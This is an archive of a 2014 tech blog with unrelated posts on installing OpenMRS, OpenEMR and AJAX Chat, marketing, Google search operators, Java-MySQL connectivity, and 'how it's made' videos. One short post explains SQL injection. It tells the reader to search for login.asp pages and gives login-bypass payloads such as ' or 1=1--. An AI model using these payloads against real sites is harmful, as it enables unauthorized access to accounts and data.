Saturday, 22 March 2014

how to use healthcare management system or software for hospital or clinic

how to create a health care system


DOWNLOAD OpenMRS

 OpenEMR Downloads

OpenEMR
OpenEMR

 

OpenEMR

What is OpenMRS?

As a response to these challenges, the Open Medical Record System (OpenMRS®) was created in 2004 as a open source medical record system platform for developing countries – a tide which rises all ships. OpenMRS is a multi-institution, non-profit collaborative a world-renowned leader in medical informatics research.

Steps Involved

  1. Install Firefox
  2. Install Java 6+ runtime environment <span style="color:#FF0000"> <em> (Note: Java must be installed before Apache Tomcat)</em> </span>
  3. Install Tomcat 5.5+
  4. Install MySQL 5+
  5. Deploy OpenMRS
  6. Go to http://localhost:8080/openmrs and follow the installation steps. <em>Please make sure that Tomcat and MySQL are running prior to using this address.</em>   

RUNNING THE STANDLONE APP
=========================

Windows
-------
Option 1: Double click the 'openmrs-standalone.jar' file in the expanded archive folder to launch OpenMRS.



Option 2: From the Windows command line, navigate to the expanded archive folder and run this command:
java -jar openmrs-standalone.jar


Mac OS X
--------

Option 1: Double click 'openmrs-standalone.jar' file in the expanded archive folder to launch OpenMRS.




Option 2: Launch Terminal.app or another command line tool and navigate to the root directory of the expanded archive file.
 Run this command:
java -jar openmrs-standalone.jar

Linux
-----

Option 1: Using a graphical shell such as KDE, GNOME, etc., open the folder that was created when extracting the ZIP file.

 
 
downloaded OpenMRS  Standalone version and was in the process of executing the .jar file. When in came to logging in, the manual states that, "Logging in By default, the initial username and password are as follows: 
 
Username: admin Password: Admin123"


 -----------------------------------------------------------------------------------------------------
OpenEMR is a Free and Open Source electronic health records and medical practice management application. It is ONC Complete Ambulatory EHR Certified and it features fully integrated electronic health records, practice management, scheduling, electronic billing, internationalization, free support, a vibrant community, and a whole lot more. It can run on Windows, Linux, Mac OS X, and many other platforms. Features supported are listed below:

- See more at: http://www.open-emr.org/wiki/index.php/OpenEMR_Features#sthash.Ug0rZdYI.dpuf
OpenEMR have more feature than OpenMRS.

OpenEMR is a Free and Open Source electronic health records and medical practice management application. It is ONC Complete Ambulatory EHR Certified and it features fully integrated electronic health records, practice management, scheduling, electronic billing, internationalization, free support, a vibrant community, and a whole lot more. It can run on Windows, Linux, Mac OS X, and many other platforms.




 


Main OpenEMR Demo
Login/Password
Multiple OpenEMR users are set up to demonstrate access controls. Login information for each user is listed in below table:
Username
Password
Description
admin
pass
Administrator
physician
physician
Physician(more access than clinician)
clinician
clinician
Clinician(less access than physician)
accountant
accountant
Accountant
receptionist
receptionist
Front desk receptionist
Main Demo Link
·         OpenEMR 4.1.2 Main Demo Link: http://demo.open-emr.org:2107/openemr/


Patient Portal Demo
Login/Password
Login information for patient portal is listed in below table:
Patient Username
Password
Phil1
phil
Susan2
susan
Patient Portal Link
 OpenEMR 4.1.2 Patient Portal Demo Link: http://demo.open-emr.org:2107/openemr/patients/





OpenEMR is a Free and Open Source electronic health records and medical practice management application. It is ONC Complete Ambulatory EHR Certified and it features fully integrated electronic health records, practice management, scheduling, electronic billing, internationalization, free support, a vibrant community, and a whole lot more. It can run on Windows, Linux, Mac OS X, and many other platforms. Features supported are listed below:

- See more at: http://www.open-emr.org/wiki/index.php/OpenEMR_Features#sthash.Ug0rZdYI.dpuf
OpenEMR is a Free and Open Source electronic health records and medical practice management application. It is ONC Complete Ambulatory EHR Certified and it features fully integrated electronic health records, practice management, scheduling, electronic billing, internationalization, free support, a vibrant community, and a whole lot more. It can run on Windows, Linux, Mac OS X, and many other platforms. Features supported are listed below:

- See more at: http://www.open-emr.org/wiki/index.php/OpenEMR_Features#sthash.Ug0rZdYI.dpuf

how to install ajax chat on website,forums like MYbb,phpBB

AJAX Chat
=========

This is the standalone version running without another web application.


AJAX stands for "Asynchronous JavaScript and XML".
The AJAX Chat clients (the user browsers) use JavaScript to query the web server for updates.
Instead of delivering a complete HTML page only updated data is send in XML format.
By using JavaScript the chat page can be updated without having to reload the whole page.




Requirements
============

Server-Side:

- PHP >= 4
- MySQL >= 4
- Ruby >= 1.8 (optional)


Client-Side:

- Enabled JavaScript
- Enabled Cookies
- Flash Plugin >= 9 (optional)




Installation
============

1. Configuration settings
----------------------

The primary configuration settings necessary for chat to function must be in the file lib/config.php
You will need to create this file. An example config file can be found in lib/config.php.example
Duplicate this file and save it as config.php once you have filled out at least the following four fields:

$config['dbConnection']['host'] = 'your_database_hostname';
$config['dbConnection']['user'] = 'your_database_username';
$config['dbConnection']['pass'] = 'your_database_password';
$config['dbConnection']['name'] = 'your_database_name';

In most cases, chat will function with only these fields filled out and you can proceed to step 2.


If your host does not use mysqli you will need to change the connection type field:
$config['dbConnection']['type'] = null;
If this is set to "null" it defaults to "mysqli" if existing, else to "mysql".


You can reference an existing database connection link or object by changing:
$config['dbConnection']['link'] = null;
If this is set to null, a new database connection is created.


2. Channel settings:
-----------------

Edit channels in lib/data/channels.php.

Each channel must have a unique id (the $channels array index) and a unique name.
Whitespace in the channel names will be converted to the underscore "_".


3. User settings:
--------------

Edit users in lib/data/users.php.

Each user must have a unique id (the $users array index) and a unique name.
The first user in the list (array index 0) is used for the guest user settings.
All guest users will have access to the channels set for this user and the user role AJAX_CHAT_GUEST.
Registered users can have the user roles AJAX_CHAT_USER, AJAX_CHAT_MODERATOR or AJAX_CHAT_ADMIN.
The list of channels a user has access to can be set for each user individually.
Whitespace in the user names will be converted to the underscore "_".


4. Upload to the server
--------------------

Upload the chat folder to your server somewhere under your document root:
e.g. http://example.org/path/to/chat/


5. Creation of database tables
---------------------------

Execute the provided installation script by visiting the following URL with your browser:
http://example.org/path/to/chat/install.php

Replace "http://example.org/path/to/chat/" with the real URL to your chat directory.


6. Delete the installation script
------------------------------

Delete the file install.php from the chat directory on your server.


Ready! Just place a link to the chat directory on your website.




Configuration files:
====================

AJAX Chat is fully customizable and contains two configuration files:

1. lib/config.php
--------------
This file contains the server side (PHP) settings.

2. js/config.js
------------
This file contains the client side (JavaScript) settings.

Each configuration option is explained with a comment prior to the setting assignment.




Customizing the layout:
=======================

The layout of AJAX Chat is fully customizable by using CSS (Cascaded Style Sheets).
AJAX Chat comes with a predefined set of styles. To add your own style, do the following:

1. Add a new CSS file (e.g. mystyle.css) by copying one of the existing styles from the CSS directory.

2. Edit your file (css/mystyle.css) and adjust the CSS settings to your liking.

3. Add the name of your style without file extension to the available styles in lib/config.php:

// Available styles:
$config['styleAvailable'] = array('mystyle','beige','black','grey');
// Default style:
$config['styleDefault'] = 'mystyle';

To further customize the layout you can adjust the template files in lib/template/.

Make sure you are creating valid XHTML, else you will produce errors in modern browsers.
This is due to the page content-type served as "application/xhtml+xml".
Using this content-type improves performance when manipulating the Document Object Model (DOM).

If for some reason you cannot create valid XHTML you can force a HTML content-type.
Just edit lib/config.php and set the following option:

$config['contentType'] = 'text/html';




Adjusting the language settings:
================================

AJAX Chat comes with two language file directories:

1. js/lang/
--------
This directory contains the language files used for the chat messages localization.
These are JavaScript files with the extension ".js".

2. lib/lang/
---------
This directory contains the language files used for the template output.
These are PHP files with the extension ".php".


For each language, you need a file in each of these directories, with the language code as file name.
The language code is used following the ISO 639 standards.

The files for the english (language code "en") localization are the following:

js/lang/en.js
lib/lang/en.php

To enable a language, you need to add the language code in lib/config.php:

$config['langAvailable'] = array('en');

For the language selection you also need to add the language name:

$config['langNames'] = array('en'=>'English');

To avoid errors, you should follow these rules:

1. Make sure you encode your localization files in UTF-8 (without Byte-order mark).
2. Don't use HTML entities in your localization files.
3. Don't remove any "%s" inside the JavaScript language files - these are filled with dynamic data.




Logs:
=====

By default, AJAX Chat stores all chat messages in the database.
To access the logs you have to add the GET parameter view=logs to your chat url:

e.g. http://example.org/path/to/chat/?view=logs

If you are not already logged in, you have to login as administrator to access the logs.

The log view enables you to monitor the latest chat messages on all channels.
It is also possible to view the logs of private rooms and private messages.
You have the option to filter the logs by date, time and search strings.

The search filter accepts MySQL style regular expressions:

http://dev.mysql.com/doc/refman/5.1/en/regexp.html

To search for IPs, use the following syntax:

ip=127.0.0.1




Shoutbox:
=========

AJAX Chat is also usable as shoutbox - this is a short guide on how to set it up:


1. Shoutbox stylesheet
-------------------

Add the following line to the stylesheet (CSS) of all pages displaying the shoutbox:

@import url("http://example.org/path/to/chat/css/shoutbox.css");

Replace http://example.org/path/to/chat/ with the URL to the chat.
Modify css/shoutbox.css to your liking.


2. Shoutbox function
-----------------

Add the following function to your PHP code:

<?php
function getShoutBoxContent() {
// URL to the chat directory:
if(!defined('AJAX_CHAT_URL')) {
define('AJAX_CHAT_URL', './chat/');
}

// Path to the chat directory:
if(!defined('AJAX_CHAT_PATH')) {
define('AJAX_CHAT_PATH', realpath(dirname($_SERVER['SCRIPT_FILENAME']).'/chat').'/');
}

// Validate the path to the chat:
if(@is_file(AJAX_CHAT_PATH.'lib/classes.php')) {

// Include Class libraries:
require_once(AJAX_CHAT_PATH.'lib/classes.php');

// Initialize the shoutbox:
$ajaxChat = new CustomAJAXChatShoutBox();

// Parse and return the shoutbox template content:
return $ajaxChat->getShoutBoxContent();
}

return null;
}
?>

Make sure AJAX_CHAT_URL and AJAX_CHAT_PATH point to the chat directory.


3. Shoutbox output
---------------

Display the shoutbox content using the shoutbox function:

<div style="width:200px;"><?php echo getShoutBoxContent(); ?></div>




Socket Server:
==============

Using the AJAX technology alone the chat clients have to permanently pull updates from the server.
This is due to AJAX being a web technology and HTTP being a stateless protocol.
Events pushed from server-side need a permanent or long-lasting socket connection between clients and server.
This requires either a custom HTTP server (called "comet") or another custom socket server.

AJAX Chat uses a JavaScript-to-Flash bridge to establish a permanent socket connection from client side.
The JavaScript-to-Flash bridge requires a Flash plugin >= 9 installed on the user browser.
Clients without this requirement will fall back to pull the server for updates.


1. Installation
---------------

The socket server coming with AJAX Chat is implemented in Ruby.
You need to be able to run a Ruby script as a service to run the socket server.
To be able to start the service, the script files in the socket/ directory have to be executable:

$ chmod +x server
$ chmod +x server.rb

"server" is a simple bash script to start and stop a service.
"server.rb" is the ruby socket server script.
"server.conf" is a configuration file - each setting is explained with a comment.

To start the service, execute the "server" script with the parameter "start":

$ ./server start

This will create two additional files:

"server.pid" contains the process id of the service.
"server.log" is filled with the socket server log.

To monitor the socket server logs, you can use the "tail" command included in most GNU/Linux distributions:

$ tail -f server.log

By default only errors and start/stop of the server are logged.
To get more detailed logs configure the log level by editing the configuration file.

To stop the service, execute the "server" script with the parameter "stop":

$ ./server stop

If the socket server is running, you have to enable the following option in lib/config.php:

$config['socketServerEnabled'] = true;

This tells the server-side chat script to broadcast chat messages via the socket server.
Chat clients will establish a permanent connection to the socket server to listen for chat messages.

By default only local clients (127.0.0.1,::1) may broadcast messages.
Clients allowed to broadcast messages may also handle the channel authentication.
If your socket server is running on another host you should set the broadcast_clients option to the chat server IP.

Using the socket server increases response time while improving server performance at the same time.


2. Flash Permissions
--------------------

Since Flash 9.0.115.0 and all Flash 10 versions, permissions for creating sockets using Flash have changed.
Now an explicit permission (using xml-syntax) is required for creating socket connections.
In the current state, socket server won't work with the newest Flash versions.
You will get a "Flash security error" in the browser.

A solution is to use a policy-files server which will listen to connections in port 843 in the server.
Each time a client tries to connect to the chat, the Flash client will request the policy authorization to the server.
The policy-files server is downloadable from http://ammonlauritzen.com/FlashPolicyService-09b.zip
It works with FF3 and IE7 (not yet tested in other browsers).

A more detailed explanation can be found here:

* http://ammonlauritzen.com/blog/2007/12/13/new-flash-security-policies/
* http://ammonlauritzen.com/blog/2008/04/22/flash-policy-service-daemon/




how to install ajax chat on website



Thursday, 20 March 2014

all about company registration trademark franchises

how to do marketing for startup



Couple of strategies in online PR are:
a) Getting bloggers/news portals to review the portal
b) Issuing of the press release in case of a new product launch/service.
c) Scheduling one on one interview of the brand spokesperson with journalist/bloggers to share industry trends or future plans of the company


Email Marketing: It has one of the highest conversions in online marketing. Email marketing helps a firm to get repeatvisitors on its website on a regular basis. An online marketer should regularly look at employing various strategies to build his/her mailing database. Offering freebies or discount coupons could be one such strategy.

Affiliate Marketing: It can be defined as the type of marketing in which a brand rewards a website owner/blogger for every sale which happens when a visitor directed from them makes a purchase on the brand’s website. Affiliate Marketing has also one of the lowest cost of acquisition compared to other online advertising channels. For an e-commerce venture, affiliate marketing becomes all the more important since they can contribute to as much as 15% to the company’s revenue. Affiliate marketing has become all the more easier with the launch of firms like cuelinks.com etc which connects merchants(brands) and publishers(bloggers, website owners) on a single platform. Amazon earns around 30% of its revenue from Affiliate Marketing of which 55%-60% comes from bloggers and the remaining from deal sites, coupon sites and price comparison sites.


Content Marketing: If planned and executed systematically, content marketing can significantly help an online portal to get backlinks from high authority websites.


List the business website in online directories. Find the category your business fits into in online directories and list your business name, a short description of the products or services your business offers and the website address for your business site.
Find and join online communities your target customers use. When you are a member of an online community, you can list your business name, business description and contact information such as a website address and email address. Be active in the online discussions and post questions relating to your industry in the online forums so that other community members get to know about you and your business offering. Some online forums allow you to promote your business, while others prohibit direct advertising. Either way, by being involved in the community, you're indirectly promoting your business
                            
Estimating a Conversion Rate
The next step is to assign conversion rates and values. Consider newsletter signups, for example. 100 new newsletter signups per month could be incredible growth if your conversion rate is 20%. That is, if 20% of your newsletter subscribers become paying customers. If your conversion rate is closer to 1%, those 100 newsletter signups might be insignificant.
Estimate (based on historical data) your lead conversion rate. Now do the same to estimate the lifetime value of a customer. If you know how many of your leads convert and how much those conversions generate for your startup, you can assign values to goal completions like newsletter signups. $2,500 per month from your newsletter is a lot more indicative of success than 100 new newsletter signups.


Wednesday, 19 March 2014

20 Tips for More Efficient Google Searches


    1. Either/or
      Google normally searches for pages that contain all the words you type in the search box, but if you want pages that have one term or another (or both), use the OR operator -- or use the "|" symbol (pipe symbol) to save you a keystroke. dumb | little | man
    2. Quotes
      If you want to search for an exact phrase, use quotes. "dumb little man" will only find that exact phrase.  dumb "little man" will find pages that contain the word dumb and the exact phrase "little man".
    3. Not
      If you don't want a term or phrase, use the "-" symbol. -dumb little man will return pages that contain "little" and "man" but that don't contain "dumb".
    4. Similar terms
      Use the "~" symbol to return similar terms. ~dumb little man -dumb will get you pages that contain "funny little man" and "stupid little man" but not "dumb little man".
    5. Wildcard
      The "*" symbol is a wildcard. This is useful if you're trying to find the lyrics to a song, but can't remember the exact lyrics. can't * me love lyrics will return the Beatles song you're looking for. It's also useful for finding stuff only in certain domains, such as educational information: cats *.edu
    6. Advanced search
      If you can't remember any of these operators, you can always use Google's Advanced Search.
    7. Definitions
      Use the "define:" operator to get a quick definition. define:dumb will give you a whole host of definitions from different sources, with links.
    8. Calculator
      One of the handiest uses of Google, type in a quick calculation in the search box and get an answer. It's faster than calling up your computer's calculator in most cases. Use the +, -, *, / symbols and parentheses to do a simple equation. (3 4/5 + 2 1/8)-(1 1/12)*2
    9. Numrange
      This little-known feature searches for a range of numbers. For example, best books 2002..2007 will return lists of best books for each of the years from 2002 to 2007 (note the two periods between the two numbers).
    10. Site-specific
      Use the "site:" operator to search only within a certain website. site:dumblittleman.com leo will search for the term "leo" only within this blog.
    11. Backlinks
      The "link:" operator will find pages that link to a specific URL. You can use this not only for a main URL but even to a specific page. Not all links to an URL are listed, however. link:dumblittleman.com
    12. Vertical search
      Instead of searching for a term across all pages on the web, search within a specialized field. Google has a number of specific searches, allowing you to search within blogs, news, books, and much more:
    13. Local Search
      Search for anything in your city. Examples movies 94705, Italian food 02138
    14. Weather
      To see the weather for many U.S. and worldwide cities, type “weather” followed by the city and state, U.S. zip code, or city and country. weather San Francisco, CA
    15. Unit converter
      Use Google for a quick conversion, from yards to meters for example, or different currency: 12 meters in yards
    16. Types of numbers
      Google algorithms can recognize patterns in numbers you enter, so you can search for:
      • Telephone area codes
      • Vehicle ID number (US only)
      • Federal Communications Commission (FCC) equipment numbers (US only)
      • UPC codes
      • Federal Aviation Administration (FAA) airplane registration number (US only)
      • Patent numbers (US only). Example Patent 5123123
      • Even stock quotes (using the stock symbol) or a weather forecast regarding the next five days
      • Package Tracking (UPS, Fedex, or USPS). Example: 1Z9999W99999999999
    17. File types
      If you just want to search for .PDF files, or Word documents, or Excel spreadsheets, for example, use the "filetype:" operator. cats filetype:pdf
    18. Location of term
      By default, Google searches for your term throughout a web page. But if you just want it to search certain locations, you can use operators such as "inurl:", "intitle:", "intext:", and "inanchor:". Those search for a term only within the URL, the title, the body text, and the anchor text (the text used to describe a link). inurl:funny
    19. Related search
      To search for web pages that have similar content to a given site, type “related:” followed by the website address into the Google search box. related:www.cnn.com
    20. answer to life the universe and everything
      Search for that phrase, in lower case, and Google will give you the answer!


Sources


Saturday, 15 March 2014

sql injection with example explained

What is SQL Injection?

SQL Injection is a type of web application security vulnerability in which an attacker is able to submit a database SQL command which is executed by a web application, exposing the back-end database. A SQL Injection attack can occur when a web application utilizes user-supplied data without proper validation or encoding as part of a command or query. The specially crafted user data tricks the application into executing unintended commands or changing data. SQL Injection allows an attacker to create, read, update, alter, or delete data stored in the back-end database.
SQL injection is a code injection technique, used to attack data driven applications, in which malicious SQL statements are inserted into an entry field for execution.

Sql Injection example
Step 1
Find login.asp page in search engin
step 2
username:    1'or'1'='1
password:      1'or'1'='1




 
sql injection example in asp.net
STEP 1:
  
 Step 2:


Bypassing Login Screens
SQL Injection Login tricks
  admin' --
    admin' #
    admin'/*
    ' or 1=1--
    ' or 1=1#
    ' or 1=1/*
    ') or '1'='1--
    ') or ('1'='1--

Thursday, 13 March 2014

java connectivity with mysql projects

java connectivity with mysql example


Create Database

To create a database you have to supply CREATE DATABASE command followed by the database name and then semicolon.

mysql> CREATE DATABASE EXPDB;
Query OK, 1 row affected (0.08 sec)

mysql>

 Use Database

Once you have created the database then you have to select it for use to perform operations on it. Command USE <DATABASE-NAME> begins a mysql (The MySQL Command-line Tool) session and lets you perform database operations. Note that, you need to create database only once but have to use it each time you start a mysql session.

mysql> USE EXPDB;
Database changed

mysql>

 Create a table

The EXPTABLE, example table to demonstrate JDBC (Java database connectivity) is created by issuing CREATE TABLE command as shown below:

mysql> CREATE TABLE EXPTABLE (
    -> ID INT NOT NULL AUTO_INCREMENT PRIMARY KEY,
    -> NAME VARCHAR (50)
    -> );
Query OK, 0 rows affected (0.20 sec)

mysql>

 Insert Records

Just for illustration, two records into EXPTABLE are being inserted, you can insert more if you like. Later we will perform select and edit operations on these records using JDBC (Java database connectivity).
   
mysql> INSERT INTO EXPTABLE (NAME) VALUES ("ANUSHKA K");
Query OK, 1 row affected (0.09 sec)

mysql> INSERT INTO EXPTABLE (NAME) VALUES ("GARVITA K");
Query OK, 1 row affected (0.00 sec)

mysql> SELECT * FROM EXPTABLE;
+----+-----------+
| ID | NAME      |
+----+-----------+
|  1 | ANUSHKA K |
|  2 | GARVITA K |
+----+-----------+
2 rows in set (0.03 sec) 
 
---------------------------------------------------------------------- 
java database connectivity code with mysql example 
 
/* JDBC_Connection_Demo.java */
 
import java.sql.Connection;
import java.sql.DriverManager;
import java.sql.ResultSet;
import java.sql.SQLException;
import java.sql.Statement;
 
public class JDBC_Connection_Demo
{
  /* static block is executed when a class is loaded into memory 
   * this block loads MySQL's JDBC driver
   */
  static
  {
    try
    {
      // loads com.mysql.jdbc.Driver into memory
      Class.forName("com.mysql.jdbc.Driver");
    } 
    catch (ClassNotFoundException cnf) 
    {
      System.out.println("Driver could not be loaded: " + cnf);
    }
  }
 
  public static void main(String[] args)
  {
    String connectionUrl = "jdbc:mysql://localhost:3306/EXPDB";
    String dbUser = "root";
    String dbPwd = "TYPE YOUR PASSWORD";
    Connection conn;
    ResultSet rs;
    String queryString = "SELECT ID, NAME FROM EXPTABLE";
 
    try
    {
      conn = DriverManager.getConnection(connectionUrl, dbUser, dbPwd);
      Statement stmt = conn.createStatement();
 
      // INSERT A RECORD
      stmt.executeUpdate("INSERT INTO EXPTABLE (NAME) VALUES (\"TINU K\")");
 
      // SELECT ALL RECORDS FROM EXPTABLE
      rs = stmt.executeQuery(queryString);
 
      System.out.println("ID \tNAME");
      System.out.println("============");
      while(rs.next())
      {
        System.out.print(rs.getInt("id") + ".\t" + rs.getString("name"));
        System.out.println();
      }
      if (conn != null)
      {
        conn.close();
        conn = null;
      }
    }
    catch (SQLException sqle) 
    {
      System.out.println("SQL Exception thrown: " + sqle);
    }
  }
} //JDBC_Connection_Demo ends here
  
---------------------------------------------------------------------------
TO RUN IT ON CMD
 
E:\java mysql code driver>javac JDBC_Connection_Demo.java

E:\java mysql code driver>java -cp . JDBC_Connection_Demo
ID      NAME
============
1.      ANUSHKA K
2.      GARVITA K
3.      TINU K

java database connectivity code with mysql example

 Create database in mysql as:- aavikme.

   import java.sql.*;
    import java.sql.Connection;
    import java.sql.DriverManager;
    import java.sql.SQLException;
    import java.util.Properties;
    
    public class MySQLConnectExample {
    static
      {
        try
        {
          // loads com.mysql.jdbc.Driver into memory
          Class.forName("com.mysql.jdbc.Driver");
        }
        catch (ClassNotFoundException cnf)
        {
          System.out.println("Driver could not be loaded: " + cnf);
        }
      }
    
        public static void main(String[] args) {
    
            // creates three different Connection objects
            Connection conn1 = null;
            Connection conn2 = null;
            Connection conn3 = null;
     try {
               Class.forName("com.mysql.jdbc.Driver");
   
                // connect way #1
                String url1 = "jdbc:mysql://localhost:3306/aavikme";
                String user = "root";
                String password = "your password";
   
                conn1 = DriverManager.getConnection(url1, user, password);
                if (conn1 != null) {
                    System.out.println("Connected to the database test1");
                }
   
                // connect way #2
                String url2 = "jdbc:mysql://localhost:3306/aavikme?user=root&password=your password";
                conn2 = DriverManager.getConnection(url2);
                if (conn2 != null) {
                    System.out.println("Connected to the database test2");
                }
   
                // connect way #3
                String url3 = "jdbc:mysql://localhost:3306/aavikme";
                Properties info = new Properties();
                info.put("user", "root");
                info.put("password", "your password");
   
                conn3 = DriverManager.getConnection(url3, info);
                if (conn3 != null) {
                    System.out.println("Connected to the database test3");
                }
       } catch (SQLException ex) {
                System.out.println("An error occurred. Maybe user/password is invalid");
                ex.printStackTrace();
       } catch (ClassNotFoundException e) {
        // TODO Auto-generated catch block
        e.printStackTrace();
       }
      }
     }     







    
save it as MySQLConnectExample.java
DONE IT

Run it in cmd

E:\java mysql code driver>javac MySQLConnectExample .java

E:\java mysql code driver>java -cp . MySQLConnectExample

SAVE ALL FILE AS SHOWN IN PIC.


Tuesday, 11 March 2014

how it's made shoes,bread,petroleum,Chips ,cold drinks,coffee,currency,sugar and many more

How to Make Petrol or Gas from Crude Oil.

The video shows how crude oil is mined and how petrol, gas, jet fuel, etc., are 'refined' from it. 


How its made: Bread 

  

How Its Made, Sugar.


How  Chips Are Made 


How Coca Cola Is Made

 

Shoes factory

 
how to make currency



How Jeans Are Made